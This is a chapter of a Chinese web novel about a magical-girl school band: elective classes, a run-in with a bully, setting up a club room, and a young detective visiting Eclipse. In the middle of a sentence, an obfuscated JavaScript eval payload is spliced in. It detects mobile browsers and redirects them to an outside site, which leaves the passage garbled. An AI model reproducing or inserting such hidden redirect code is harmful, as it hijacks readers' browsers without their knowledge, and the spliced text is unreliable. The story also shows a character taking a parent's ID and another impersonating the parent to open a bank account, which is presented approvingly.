几人同意后,便分开进行了下午的活动。 选修课人数较少,大多数学生们都对下午的课程充满期待,两三结伴聊着天前往上课的地方。而一些没有课的学生则自行活动,甚至直接收拾东西准备回家了。 周一周三下午第一节是心理课或电影鉴赏,周二周四下午第一节是摄影课和电脑科学,下午第二节统一是艺术分类课和体育分类课,若是有人想要同时参与多种活动就得参与相关的社团。周五下午为特殊活动或者自由活动。 下午放学之后到六点之前校内都是开放的,学生可自由使用校内设施,在那之后就是清洁消毒的时间了。 同理早晨六点半到上课前到时间当中学校也同样为想要使用设施的人员开放,校内食堂从七点开始供应简单的食物。周六学校按照正常时间开放操场和社团活动区域,不开放教学楼,周日学校不开放。 这周五下午的活动为社团展示集市,各种社团会在社团活动楼前的区域展示自己的作品或者往届获得的奖项,作为社团招生周的收尾。 “艾克里普也准备修心理学吗?”森山寺未央看见了在心理学教室里的艾克里普,带着森山寺未雅坐到了她附近。 “我确实对心理研究理论感兴趣,不过电影鉴赏听上去也很有趣,摄影也不错,美术课人很少的样子,我准备都去看看,之后再决定。”艾克里普点点头,对课程内容抱有些期待。 “选修课果然是应该按照直觉来选吧!”森山寺未央说。 “按难度来说心理学看上去更难一点,但实际上这节课的作业审批很松。”森山寺未雅见过心理学以往的毕业采访,“电影鉴赏的评论作文是强制性的,而且那个老师很挑剔,” “原来是这样,感谢提醒。”艾克里普似懂非懂地点了点头。 森山寺未央对于自己姐姐这样根据课业难度选课的方法颇为赞赏,但她本身是因为想要理解自己姐姐的精神问题才选的心理学,这件事她当然不会说。 参观课后,艾克里普发现那些心理研究理论她不怎么用得上,也并没有产生特殊的兴趣,就决定选择其它课程。 另一边犬山晓和有乐羽生并没有去试课,有乐羽生前去社团管理室准备提前拿社团审批通过的通知。 而犬山晓则是对体育馆感兴趣,她觉得自己闲着也是闲着,不如提前走过去看看。 日之森的操场在校区最北部,前往那里需要一路穿行经过所有教学楼的日之森主干道或者便捷的小路,随后在入口处左拐就能前往操场左侧的体育馆区域。 “喂。”就在犬山晓就快走出小路时,她听见自己身后传来一个人喊住自己的声音。 站在那里的是白日里给她留下过一些印象的天生目,不过犬山晓不知道她的全名。 “找我吗?”犬山晓不确定地问,二人之间并没有交集。 “犬山晓,”天生目稍微仰起了头,嘴角带笑眼神温和,“是你对吧?” 她姿态优雅地站在小径中,微风带起她额前的些许碎发,但她的眼睛直勾勾地盯着犬山晓,语气是被压低营造出的沉稳。 “我的名字是天生目白,或许以你的眼界也能听说过我。”天生目白淡然地介绍自己,言语中带着青少年特有的目中无人,却又比同龄人稳重些,说话并不琐碎。 不过学生会的人似乎都这样,犬山晓心想。 “找我做什么?”确实没听过这个名字的犬山晓直觉说实话会让对方生气,便直接问了对方来意。 “真是毫无仪表可言,真不懂有乐为什么会选择你们这样的同伴。”天生目白的眼睛扫视了一圈犬山晓全身,开口就是鄙夷打压。 “关你什么事?”犬山晓觉得对方真是莫名其妙,不过联想到白日里发生的事情她又隐约明白了对方想表达的含义,大概是觉得“普通人”不配和有乐羽生一起活动。 但这句反问仿佛戳到了来者的痛处,本还刻意维持着的温和表现从嘴角开始被撕碎,那双冷漠的眼睛一瞬不眨地盯着犬山晓。 她生气了吗,犬山晓意识到这一点,才发现自己说的那句话可能大概确实有点像是在挑衅吧。 “确实不关我的事,但你如果明白我是谁,就不会有胆子从喉咙里蹦出这么几个字。”天生目白大步向犬山晓走去,那双愤怒的眼眸也离犬山晓愈发近了,“而如果你明白我是谁,就应该知道我能做到什么。” 走近了之后犬山晓才发现天生目白很高,掩盖在校服之下的皮肤花纹在这个距离便看得见了,她意识到这是纹身,反应过来眼前这个人大概是□□背景。而此时压迫者从上而下地俯视犬山晓的脸,眼中的恶意,鄙夷和愤怒没有被遮掩分毫。 显然被眼里的弱者质疑令她分外生气。 “而我想做些什么,也不关你的事了。”天生目白嗤笑一声,伸手准备捏着眼前人的校服将其提起,这是她常用的威胁手段,见效非常快。 可惜那领子没有被得手,手被打开了。 “这个刺绣很容易坏的。”犬山晓皱着眉说,她觉得这样被俯视不太好,不过她并没有因此而感到生气。 “哈?”天生目白怒极反笑,犬山晓觉得她现在这幅模样才对劲,刚才那样好像山里那些模仿人的野兽。 “我大概明白你的意思了。”犬山晓低头确认校服领子是否安好,但却被天生目白视作是低头认错。领口处金色的刺绣花纹安然无恙,是日之森吉祥物和平鸽的形状。 “你明白就好。”她恢复了些许的温和,刚想继续说什么,就听见低下头的人开口说。 “但是我觉得你并不应该那样说。”犬山晓伸手推对方的肩,将天生目白推得退了一步。 反应过来对方说了什么,做了什么的天生目白青筋暴起,拳头一瞬间捏紧了,准备给这人一点颜色看看,就像她自小被教育的那样,不可让别人低视自己。 但犬山晓哪里不清楚对方想做什么,她叹了口气,不太明白为何这个学校里的人如此重视那不存在的阶级,那是否说明学校的领导实际上也默许这一点,默许“普通人”不许越界? 虽然不擅长应对校园暴力,但暴力还是可以应对的。 “不要再来找我了,”想了想,犬山晓补充说,“也不要来找我们乐队里的任何一个人。” 随后她转身离去,留下被用自己的领结捆住手的天生目白在原地挣扎。 简单看了看体育馆陈设之后犬山晓便返回了教室,这会倒是没再遇到奇怪的人。 下午第三节课时,犬山晓熟门熟路地换了运动服前往操场参加课程,并且被教练询问要不要参加社团,因为课程只是训练,但社团可以去参赛。被拒绝后教练也没有生气,只是嘱咐她没事也可以来操场自主训练。 放学后,乐队的几人一起聚集到了社团活动大楼外。 “我们可以在地下一楼,和二楼的空房间里选一间,”有乐羽生介绍说,“我推荐地下一楼,因为有很多器材都储放在那里,可以很方便地更换。” “楼层选择有什么讲究吗?”森山寺未央说,森山寺未雅知道自己不需要出席后很高兴地把申请表给她自己回去了。 “一楼是办公室和一些大型社团的教室,已经没有空位了。二楼本来是属于常规社团的,但我们算是轻音乐所以也可以用二楼,地下一楼是大多数普通音乐社团所在,虽然说是地下一楼但实际上因为社团楼建在坡上也有自己的出入口。”有乐羽生介绍说。 “有羽生帮忙这样的介绍真是帮大忙了。”艾克里普笑着说,“我也觉得地下一楼比较好。” “确实,出现紧急情况还可以直接离开。”犬山晓点点头,没什么意见。 大家都同意之后便一起去地下一楼。 从一楼的楼梯下去,楼梯口正前方是一大块公共休息区,再往前是大门,左右两边的走廊通往各个不同的教室,远远看去只有一半的教室上挂了牌子。 “这里左手边走廊尽头是紧急出口和楼梯,右手方是紧急出口和仓库。”有乐羽生介绍说。 几人在巡视一圈后,选择靠右手方走廊的最靠近里面的教室,可以灵活使用安全出口进出。 教室和几人的原教室差不多大,有黑板和格子储物柜,不过不配有显示屏,桌椅也只有大长桌三套,椅子有二十张,是普通社团配置。 几人将一张不要的桌子和五张椅子搬进仓库,又从仓库的音乐专区抬出了需要用的乐器。 “没想到学校居然有闲置的一整套鼓,我昨天晚上去超市找都没找到。”艾克里普这样说着用魔法为乐器表面去尘。 “超市怎么会有架子鼓啦。”森山寺未央这样说着开始检查贝斯,不过她在心理参观课上也领略到了对方独树一帜的脑回路,并没有太在意。 “艾克里普想要练习的话来这里就好了,架子鼓在家里不太好装吧。”有乐羽生不太清楚架子鼓的配置,不过它一整套占地确实很大,“演出时会有人帮忙摆放设备的。” “那是不是可以带自己的乐器放在这里。”犬山晓不太习惯仓库里的电吉他。 “可以的,我们一会就去办公室拿这间教室的钥匙。”有乐羽生点点头。 “那太好啦,虽然背着乐器上学很帅气,但在公交车上还是有点麻烦的。”森山寺未央满意地说。 几人简单熟悉了乐器之后,开始讨论演出的事情。 “两周后是校园祭,这周五应该就会开始报名,我们可以在校园祭上演出一些歌曲。”犬山晓提议道。 “会不会太快了?”森山寺未央担心配合上的问题。 “原创歌曲的话,现在确实来不及了解大家的乐曲风格了,但是我们可以演奏一些已有的曲目,街头很多演出都是这样。”艾克里普思索着说。 “有道理,大家有什么建议吗?”犬山晓跃跃欲试地询问。 “按我们的配置的话,可以找抒情摇滚类型的,有键盘手就是好啊,不过我对音乐选择不是很在行。”森山寺未央有些头疼。 “有乐同学呢?你是主唱,有什么想唱的吗?”犬山晓转头问。 “我吗,我想想。”被问到的有乐羽生一时想不出什么。 不如说实际上她一直以来都没能决定些什么,也没法表达自己的想法,成为主唱也只是因为她对于声乐很在行,这也是她的老师告诉她的。 “无论你在哪,”她想起自己放学的车内广播电台放过的这一首歌,“我觉得还挺合适的。” “原来是这首,我也觉得这首不错,旋律比较简单,而且可塑性很高。”犬山晓想起这首她偶然间听过的歌。 “我来搜搜。”森山寺未央拿出手机搜索歌曲,并连上刚刚搬进来的小音响外放了起来。 “旋律很柔和,在礼堂那种大空间现场演奏效果一定会很不错吧。”艾克里普也觉得合适。 自己的建议被肯定了,让乐羽生感觉有些飘飘然。 “我记下了,不过演出至少需要十分钟呢,大家再想想。”犬山晓也拿出手机搜索起来。 最后森山寺未央和犬山晓各自再找出一首风格差不多的,几人约定好各自练习好自己的部分后,今天的乐队活动就算结束了。 11. 贰 “犬山同学一会准备做什么?”有乐羽生从拎着书包准备回宿舍的犬山晓身后走出。 “先回宿舍,然后去一趟电器城,”犬山晓想了想,“我准备报名摄影课,要去买个相机。” 得知这些的有乐羽生想要询问关于银行卡的事情,这或许是一个好时机。 “实际上我有件事想拜托犬山同学。”有乐羽生面色苦恼地开口,经过昨天的相处,她认为犬山晓是会在她请求时给予帮助的人,虽然不知道她是对所有人一视同仁的友善还是单纯的因为二人是同伴。 “是什么事?”犬山晓问,虽然说没有直接答应,但面色上是没有拒绝的表情含量的。 于是有乐羽生将自己的困难告知了对方,“于是我想试试看能不能自己办理一个银行账户。” 犬山晓思索了一番,她的大多数身份信息都是克拉拉解决的,但她还是知道银行账户的办理需要成年人陪同,或者本人成年,对于常人来说似乎并没有可以绕开的方法,但对于魔法少女来说并不是如此。 但除了这件事的成功率以外,犬山晓也不太清楚这件事她是否应该帮忙。看着有乐羽生求助的眼神,她终究还是决定帮一把,后续最坏也不过是不成功或者卡被父母没收而已吧? “如果你能把你和你父母的证件照片带来的话,我可以变形成你父母的样子陪你去私人银行开个账户。”犬山晓对她说,这是她能想到的比较方便的方式。 “我觉得这个我可以做到。”认真思索之后有乐羽生点头说道。 “那我们明天这个时候见吧。”约定好之后,二人分开了。 当晚有乐羽生心事重重地回家了,但谁都没发现她的异常。 她吃完晚饭后回到房间,听见楼上传来电话铃声,知道自己的父亲打电话的话会去卧室打,因为那里隔音好一些。她快速吃完了放学后从学校小卖部买来的巧克力,把包装用塑料袋包好放进书包底部,准备行动。 这样的行为让她觉得有些羞耻,但也为自己即将做的事情添加了一份催化剂作为动力。 先是正常离开房间让侍者给自己准备一些热茶,趁机确认家里母亲在一楼,父亲在三楼主卧,三楼的书房目前是空着的。有乐宅因为有乐千奈对安全的重视,走廊上设有监控摄像头,所以有乐羽生尤其注意她的行动顺序。 她虽然不清楚父母的身份证件在哪里,但在书房里找找总归没错,即使没有原件复印件也可以。她自己的身份信息倒是有复印版本。 接过侍者端来的茶后有乐羽生没有让门彻底被关上,而是隐身后出了门,再将门关上。 一路走上三楼都没遇上什么人,父亲似乎在卧室的茶桌边与别人通电话,语气里满是恭敬,与晚餐时问她问题的样子截然不同。 书房门因为主人的暂时离开并没有锁,不过打开时会发出声音,有乐羽生感觉自己的心脏跳得很快,但手的动作放的很轻,尽量让门不发出任何一点声音地被打开,进入后又小心翼翼地关着门。 书房里东西被整理得很整齐,窗锁着,斜着摆在靠窗位置的书桌上有些文具和被合上的书本,没有电子产品,而有乐羽生要找的文件则有大概率被放在书桌下方的柜子里。 她快步走过去,从桌子下方左手边的抽屉开始拉开看,左边的抽屉都没有,她又拉开右边的窗户开始逐一检查。 这时,结束了通话的男人从桌边站起,朝门走去,有乐羽生意识到他即将来到书房,她加快了搜寻的速度。 右边抽屉也都没有,还能找哪里?有乐羽生的目光投向了放在桌边的公文包,考虑了不到一秒,她咬咬牙开始翻包。 没有,还是没有,没有类似的小本子或者钱包,但人出门总是得带着证件的,政府官员更是如此,到底会在哪? 门外的人走到了书房门口,推开了书房门。有乐羽生头上都开始冒汗了。 随即,有乐羽生的目光落在了搭在椅子背上的外套的袖子,以及它旁边,鼓起来的夹克内部口袋,没能多想,她伸手去够内袋内的物品,指尖传来的触感属于皮具。 这个就是她要找的东西! 而此时她的父亲已经走进了书房,并且走向书桌准备坐下处理文件。 有乐羽生在书桌下方发动空间魔法,带着钱包使用空间坐标传送回了自己房间的更衣室,顺手在书桌底留下了一个简易的空间坐标。 坐下的男人没有丝毫察觉到不对,顺手打开了笔记本开始继续写东西。 而传送回更衣室的有乐羽生大口地喘着气,心脏一瞬间的跳动超速加快令她感觉那跳动的声音都过于吵闹了,她抬手擦了擦一脑门的汗,另一只手托着钱包,重量不算大,她打开夹扣,各类证件展示在她眼前,大声宣告钱包的主人是谁。 回到房间的有乐羽生将放凉后的茶一饮而尽,用手机给证件们逐一拍照,晚些时候等书房被锁上,再用空间坐标将钱包丢回书桌下方。 心跳这才逐渐平静下来。 第二天下午,有乐羽生带着打印出来的证件,自己的证件去找了犬山晓,而犬山晓看了照片之后转身去了银行附近卫生间内的更衣室,再出来就是有乐羽生父亲的模样了。 “走吧,尽量掩人耳目。”不习惯身高视角的犬山晓低头对有乐羽生说,她愣了愣,马上反应了过来。 “很奇怪吗?”犬山晓也不清楚自己外在看上去会不会奇怪。 “还好,”有乐羽生说,“只不过我以前也没有正面看过母亲父亲的脸。” “这样?”犬山晓说,“那现在要多看看吗?” 正视着犬山晓,有乐羽生并没有感到晚餐时那样的压抑,或许是她说出口的话并没有在压迫她。 “这样就好了。”有乐羽生摇摇头。 二人走进一家私人银行,这家银行也是犬山晓的银行账户所在,在这个城市很普及,虽然是私人银行但体量相当大,信用卡审核也比较严格,但因为其免国际手续费而广受好评。 在得知要给未成年小孩开户后,二人在等待了一会后便前往了会客室。 开户并不困难,上交资料之后再填写一些表格,随后回答一些问题,再签字。 “咦,您是?”业务员在检查文件时注意到了些什么。 “什么?”有乐羽生心下有些不安,她不希望出现任何差错。 “不,没什么。”业务员递来一张设计简单的银行卡,“这是临时用卡,您的储蓄卡和支票夹会在五个工作日内寄到您填写的地址上。”地址填的是犬山晓的宿舍地址。 接过银行卡后,有乐羽生忍住内心的雀跃,面色如常地与犬山晓一起回到更衣室结束了变形。 “真的很感谢你,晓,”发自真心的喜悦带来的笑容在有乐羽生的脸上绽放,“感觉自从遇到了你们开始我就一直在遇到好事,真的谢谢你!” “举手之劳而已。”犬山晓有些怀念刚才的身高,变形陪有乐羽生去一趟银行对她来说确实是小事一桩。 二人一边聊着天一边走着,虽然有乐羽生不想暴露自己准备邀请朋友们去游乐园的想法,但却总是忍不住地想把这件事说出来。 但最终她还是忍住了,她准备等一切尘埃落定之后再说。 “在学校遇到了好事吗?”晚餐时,或许是看她脸色好看,母亲开口询问她说。 “不是什么大事,我准备在校园祭登台演出,父亲母亲会来看吗?”有乐羽生试探着询问。 “你还没放弃那个过家家的乐队?我不认为它有价值吸引我。”她的父亲表达了十足的轻蔑。 “你需要放更多的心思在重要的事情上,”她的母亲也不屑一顾,“那天我们有重要的事情,不可能为了那种程度的演出出席。不过校园祭是重要的日子,你最好别出什么洋相。” 那又怎么样呢?不如说你们不来看更好,你们不会知道我这几天有多开心,因为你们从来没有理解过我真正想做的事,有乐羽生心里这样反驳,嘴里说着应和的话。 随后她的母亲开始了例行的训话,有乐羽生时不时应着,内心的思绪却是飞去了游乐园。 游乐园在城市东北边,二十年左右前建成,虽然不完全临海,但在摩天轮和过山车的最高点能看到海洋。游乐园的特色是纯木质结构的过山车,速度相当快。 谈到海,有乐羽生又想去看看海,看看小时候看过的鲸鱼,看看海和天空连在一起的蓝色,那是一种令人无言的美丽,她们一定会喜欢。 周四的下午放学后,几人聚集在一起填写了校园祭演出申请表,从周五开始几人有两周的准备时间,两周后的周五便是日之森学园祭。 “对于那些大型社团来说两周其实不算一个充分的准备时间吧。”森山寺未央想起自己来时看见的交响乐社团,人数少说有三四十个人。 “大型社团都是去年的学园祭结束后没多久就开始准备下一次的了,”有乐羽生解释说,她今天笑容格外地多,“这两周实际上是给社团活动管理部门准备宣传和舞台设置的。” “居然提前这么久,校园祭确实是很重要的祭典。”艾克里普郑重地点点头。 “那我们这样的小社团也能上台演出吗?”犬山晓比较担心这个。 “大型社团的演出在午后时间段,我们应该会和其它小型社团的声乐演出一起在上午进行。”有乐羽生举例说,“一些罕见乐器同好会的展出方式其实和乐队差不多的。” “我就说为什么隔壁教室里放着奇怪的东西,原来也是乐器吗。”森山寺未央恍然大悟。 “校园祭的前一天下午放学后需要留下来进行一次彩排,会有一件事,”有乐羽生说到这里停顿了一下,声音小了一些,“我们周五活动上午就结束了,大家在那之后有时间吗?” “我没有,下午还没有计划!”森山寺未央说。 “我也没事,怎么了吗?”犬山晓说。 “羽生有什么特别安排吗?”艾克里普好奇问。 “就是说,既然大家就没事,”有乐羽生以往被刻意训练出来的从容笑容在三人的注视下变得有些僵硬,“实际上我之前去便利店的时候看见有抽奖活动就试了一下没想到真的中奖了呢。” 说到这里她的耳朵红了起来,那红色逐渐蔓延到脸部,她自己大概也知道自己的面颊在燃烧,但是现在伸手去摸就会显得更奇怪了。 “所以我就在想,大家要不要在乐队演出之后一起去游乐园玩,什么的。”她鼓足勇气说完了最后的邀请,手指忍不住在背后紧张地交缠在一起。 终于说出来了!有乐羽生在心里大喘气,虽然说与她预想中从容不迫地邀请不太一样,但至少说出来了!但是大家会同意吗?虽然说没事但会不会高中生去游乐园有点幼稚了?如果大家不去的话我就也不去了吧。 诸如此类想法如强风过境一般刮过有乐羽生的脑海。 “游乐园!我们乐队也有团建了吗?太好了!”森山寺未央非常兴奋,她小时候和姐姐一起去过游乐园,那份记忆非常美好,偶尔会让她怀念起自己的童年。 “羽生邀请大家一起去玩吗?谢谢羽生!我非常期待!”艾克里普看出有乐羽生的紧张,她对于这种真挚的邀请感到喜悦,于是她迅速露出笑容回应了对方。。 “是北部绿地中心旁边的那个吗?我一直想去那里,谢谢你!”被对方情绪感染的犬山晓脸颊也微微泛红,她从未想象出自己与朋友一起出去玩是什么样子的。 得到大家的肯定之后的有乐羽生欣喜地从校服口袋里拿出从早上就一直藏着的游乐园门票,几人一一道谢取过,留下最后一张在有乐羽生手里。 回家的车上,有乐羽生不住地翻来覆去看门票的印花,直到到家门口了才依依不舍地塞进书包底部。 接下来的几天里几人各自度过了校园生活,并在下午放学之后狩猎魔物,偶尔一同聊天或吃午饭,久而久之校内便默认了这五人是一个关系还不错的小团体,虽然谁都想不出来她们是怎么凑到一起的。 “这周的份。”犬山晓如往常一般将密封罐放在克拉拉实验室的桌上,却没有急着走。 “谢谢小犬山。”克拉拉一如既往地带着她那副厚底眼镜支着一条腿坐在人体工程学椅上,懒散地坐在电脑前开始输入信息。 犬山晓看着克拉拉那对脊椎不太友好的坐姿,想要提醒但不知道合不合适。 见来者没走,克拉拉也不赶,随意地开口问些日常生活上的问题,并给予奇怪的答复。 “我们学校不久后有个校园祭。”犬山晓提起这件事。 “日之森的校园祭?”克拉拉并不陌生,“那可是大日子,这段时间不少人因为准备周五去参加这个而提前加班,怎么了?” “我们乐队上午有个十分钟的演出,你来看吗?”犬山晓拿出一张入场门票问道。 日之森校园祭校外人员需要持票进入,每个学生有三张门票,参与演出的人士有更多,再需要更多门票就得花钱购买,但也不算昂贵。 “真没想到,你的校园生活还挺丰富多彩。”克拉拉捏着门票,表情一惊一乍的,“早上吗?我可起不来。” “随便你,票我放这里了。”犬山晓也不强求,转身走了。 “真没想到这家伙社会化如此迅速。”克拉拉看着实验室大门合上,纠结地看向手里的门票。 “去不去呢?人肯定很多,不是很想晒到太阳啊。” 而另一边的艾克里普,在事务所二楼练习架子鼓的时候被身边的墙面告知门口有人停留,便下楼查看。 “下午好,艾克里普小姐,好久不见。”启明星微微俯身行了礼。 “哎呀,启明星侦探,好久不见。”艾克里普想起之前的来信,“请问是有什么需要我帮忙的吗?” 随后她将来客引入一楼的桌边就坐。 “是的,是关于之前的信中提到的我的追查目标。”启明星点头,“我认为艾克里普小姐或许知道一些相关事项,于是便冒昧上门拜访了。” “我确实知道一些,但我并不能全部告诉您。”艾克里普耐心地回答,“既然您已经知道这件事与我无关了,那么为何还希望求助于我呢?而且就我而言您或许会因这件事受伤的。” 这句话说的礼貌,但实际上是在委婉地表达拒绝了,艾克里普希望启明星能趁早脱离这件事,这对她这样的孩子来说太危险了。 “非常感谢您,但我求助于您确实有特殊原因。”启明星想起自己调查过程中的一些经历,内心暗自叹气,但没有表现出来。 “好吧,那就先问问题吧。”艾克里普点点头。 “我最近得知,追查的目标实际上是一个实验室的被实验体,因为实验室的一些疏忽逃了出来,于是实验室的投资方希望我追查实验体的线索,似乎是希望追回实验体。”启明星先是告知了自己的调查进度,“但实际上在我调查之后发现,该实验体实际上在善于隐藏的同时并没有产生对人类社会的攻击性,甚至因为实验的原因正生命垂危,即使放任不管也会在不久后死去。” “您已经找到那个目标了吧,真不愧是侦探。”艾克里普肯定地说。 “没错,”说到这里启明星自信地笑了,“我找到了那个目标,并且与之进行过沟通了。” “但就像是您之前说的,雇主应该知道目标并不需要刻意地去追查,而且你似乎也没有把目标的信息告诉你的雇主。”艾克里普有些好奇了,她印象中的大部分孩子做事都不怎么讲逻辑,但启明星却是非常注重逻辑的。 “是的,这是因为我虽然是一位侦探,但比起了结一个态度不明确的任务,我个人更在乎真相。”启明星郑重地说。 “真相?”艾克里普对这概念感到好奇,“是指案件背后的真相吗?” “我亲爱的雇主让我完成的任务并不是其真正的目标,而是通往目标的手段,实际上我并不对此感到生气,我们是雇佣关系,我得到的报酬会是相当丰厚的一笔。”启明星点了点头。 艾克里普还是想知道什么样的人会重金雇佣一个孩子,或者说是不是那个雇主骗了启明星?但启明星看上去并不会轻易被愚弄。艾克里普知道自古以来孩童都不拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706124|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负任何责任的能力,甚至是犯罪。 “但是显而易见地,我亲爱的雇主在结束了我们短暂的雇佣关系后就会很快将我抛之脑后,用那笔钱当作我们的分手费,何等令我悲伤的一件事。”启明星表情夸张地起伏,“甚至不打算将‘真相’告诉我。” 她再次重点提及了真相两个字。 “所以果然想要的得自己去找啊,侦探,”启明星说,“调查目标没法获得真相的话那就只能反过来调查雇主了,但人家家大业大,明面上将手探出去会被砍掉的。” “您有怀疑目标了吗?”艾克里普笑着问道。 “一个人,”启明星伸出一根手指,“不如就叫做存在X吧?” 她对于这个经典的嫌疑人称呼颇为满意。 所以雇佣她的人甚至没有告诉她自己的身份,艾克里普心想,这孩子是否有些过于胆大了呢? “那么您现在来找我一定是因为得到了一些结果,但因为无法处理而来找我求助的吧。”艾克里普分析说,并认为孩子会求助是好事。 “没错,同时我也带来了您可能会想要的报酬,不过先让我说明原委吧。”启明星摊开了手,意为表示坦诚。 “上一次我们深夜相会并不是偶然,而是我处心积虑得来的结果,艾克里普小姐,您的事务所虽然令人见之不忘,但也如同诱人的宝藏一般被重重掩盖呢。” 确实如此,夜藤事务所的外部被施予了回避魔法,不仅常人难以察觉它,见过之后不久若是不重视也会潜意识将其遗忘。 “本人眼拙,未能发现这扇门的存在,是一位嗅觉灵敏的猎犬将这里的存在告知于我,让我前来询问您是否知道相关信息。” 艾克里普之前就发现这孩子说话像在演讲,不知是因为不想被大人瞧不起还是因为侦探的职业习惯呢?不过她并不讨厌这样,她能看出启明星并不是多么装模作样的人,她是孩子。 “‘猎犬’就是你之前说的保镖吧。”艾克里普若有所思。 “没错,同时也是我的追查目标。”启明星点头。 这下艾克里普是真的惊讶了,她也不清楚眼前的孩子是如何说服她追查的目标合作的,甚至目标处于一个极度虚弱且危险的状态。好奇心会让孩子涉险,但启明星是理智的。 “那位目标脱离实验室之后便一直在走向□□衰败,除非通过特殊手段得到治疗,否则便只能等死。”启明星言辞间没有焦急或悲伤,“而这个特殊手段除了回到实验室之外,便只有通过嗅觉找到的这里,夜藤事务所有可能存在。” “是那里,就是那里,去为我带来医治我的灵药吧!”启明星像模像样地演绎神情。 “但是,”她的表情一瞬间归位,“您确实与实验室毫不相干,这件事在我上一次来时便得到了确认。” “那么那位目标,现在怎么样了呢?”艾克里普有些担心地问,这些还保持有理智的试验品也是受害者,在了解真实情况之前她都会怜悯这些存在。 “我想了点办法,总之现在活着姑且不成问题。”启明星轻描淡写地说。 “那么您这次来找我是为了什么呢?”艾克里普问道,出于尊重隐私没有去追问‘办法’是什么,但她有点好奇。 “是为了我亲爱的真相。”启明星说,“我的雇主哪怕用重金雇佣我,百般遮掩自己的真容,却咬牙切齿也要找到的是什么?” “是什么呢?”艾克里普配合地紧张问道。 “是您啊,艾克里普小姐,”启明星满意地道出真相,“我的雇主让一条受伤的猎犬跑出猎场,放任其在野外奔跑,走向死亡,直到其因求生欲奔向感官指向的解药,那就是真正的目标。” 对自己的推理十分满意的启明星笑容和言辞间充满了自信,艾克里普低头沉思,却无论如何想不出来会有谁用这样的手段想找到她。 是因为渴求她的帮助吗?亦或者是贪图她的魔力呢?还是说是那些追求奇怪目标的疯子呢?但艾克里普并未在城市中捕捉到类似的实验体或者魔物,按理来说这一类的实验最终成果都会散发出与魔物类似的气息,亦或者干脆被魔物腐蚀的,但这些在这个城市都没有。 难道说是在其它的城市中?艾克里普思索着,对这件事产生了一些重视。 “我明白了,谢谢您告诉我这些,启明星侦探。”艾克里普回过神,“实不相瞒,夜藤事务所确实会吸引一些特殊的人,但多年来我一直将这里隐藏得很好,没想到会有这种事情发生。” “我其实也不理解我的雇主为什么要找您,说实话在我看来您并不是那样不好说话的人,若是想要寻求帮助的话那礼貌上门便可。”启明星歪着头说道,委婉地提醒了一番。 “确实如此。”艾克里普叹了口气,“那侦探接下来准备做什么呢?” “那条猎犬身上的伤好了些后就叫嚷着要复仇,”启明星说,“谁叫我是个好侦探也是个好老板呢?接下来只希望雇主大人能在发现我在做什么时轻点打发我了。” 艾克里普又有些担心了,若是启明星也被连累了的话那一定也与她有关,这是她作为这个城市的守护者绝不想看到的结果。但她也没有想要劝说启明星的想法。 “需要我帮什么吗?说实话我对于您的雇主的身份也毫无头绪,这件事与我有关,真相能尽快水落石出是最好的。”艾克里普担心地说。 “那么您打算雇佣我作为追查这件事的侦探吗?”启明星说到这里相当正式地坐直了,左眼期待地看着艾克里普。 “咦?雇佣?我吗?”艾克里普一时不知该说什么,她读过侦探小说,但现实中侦探在约二十年前就逐渐销声匿迹了,更别提她从未接触过这种职业。 “是雇佣我,”启明星轻抚领结,“本人虽为暂无与这类事件相关的奇幻资历,但我保证对一切真相追查到底!” “好的,启明星侦探,交给你了!”被情绪感染了的艾克里普也不禁坐直了一些,“那么,侦探想要什么样的报酬呢?” “关于这方面,我希望您对我的追查提供一定的支持,”启明星说,“我的猎犬身上一些器官与本体产生了超出寻常的排异反应,同时偶尔会出现精神混乱的问题,您有什么方法吗?” “我有一些好用的药,一会就可以拿给您,”艾克里普想了想说,“不过如果让我直接看看情况的话会更好些。” “感谢您的帮助!”启明星笑着答谢,“但那位在非必要情况下似乎对这里有些抗拒,等心理建设得差不多了,我就带过来让您看看吧。” “以及,如果时间到了,如果您愿意的话,”启明星补充说,“也请告诉我关于您的真相吧?” 艾克里普愣住了,这种纯粹的探究令她不知该作何感想,一方面她不赞成启明星作为一个普通人对这种事情过于深入,一方面她也欣赏这份纯粹的好奇心与孩童的真诚。 “那就约好了。”艾克里普最后这样说。 启明星在收下放着药的盒子时发现盒子上还有两张门票,印花华丽,金色雕刻出日之森的名字。 “我们学校在这个时候有个校园祭,上午的舞台时间有我们乐队的演出,如果有时间的话就来看看吧?”艾克里普邀请说。 “很荣幸得到邀请,定会准时赴约。”启明星行了礼,随后如往常一般拄着拐杖离开了。 “诶?你们都不能来吗?”森山寺未央大为失望地对电话那头的父母抱怨道。 “抱歉啊未央,不过你们能这么快就交到朋友呢,我们都很高兴哦!下次的话我们一定会过去看看大家的。”她的父母很欣慰这件事。 “好啦,我会录像的。”森山寺未雅说。 “那就太好啦,双休日回家我们一起看吧!”父母为此很期待。 “不过录像结束我就走了。”电话挂断后森山寺未雅说。 “那你下午就回家了吗?”森山寺未央说的是父母家。 “应该吧,你呢?” “我要出去玩,那我就晚上自己回去。” “那你自己小心点吧。” “好吧好吧。” 12. 叁 艾克里普挑了一天放学后直奔乐器行,她提前在校内的音乐社团练习室旁听了一番练习者们对乐器的品鉴,并前往图书馆了解了一番现代音乐发展历史,她自信自己这一次一定能带回去一台完整的架子鼓。 打听来的去处有好多种,既有品牌大楼也有二手商铺,艾克里普决定去一家近的。 市区商业街中的一座大厦是专门贩卖各种乐器的,不同的乐器分布在不同的楼层,三楼是鼓类专卖楼层,艾克里普从事务所出发一路抵达店门口差不多是十五分钟的路程。 最壮观的果然还是层层叠叠放在一起的弦乐器楼,光是远远地看过去艾克里普都能感受到摇滚音乐爱好者店主的强烈的存在感。 现在并不是人多的时候,店内只有零星几个顾客分布在不同的区域。这家鼓店在日之森的打击乐爱好者中广受好评,不仅是因为它服务好选择多,而且还有提供一些特殊的民族乐器。 例如悬挂在铁网格架子下方的各种材质的铃铛和贝壳串,瑜伽和冥想俱乐部成员很喜欢在社团活动中使用这些音色充满空气感的乐器。 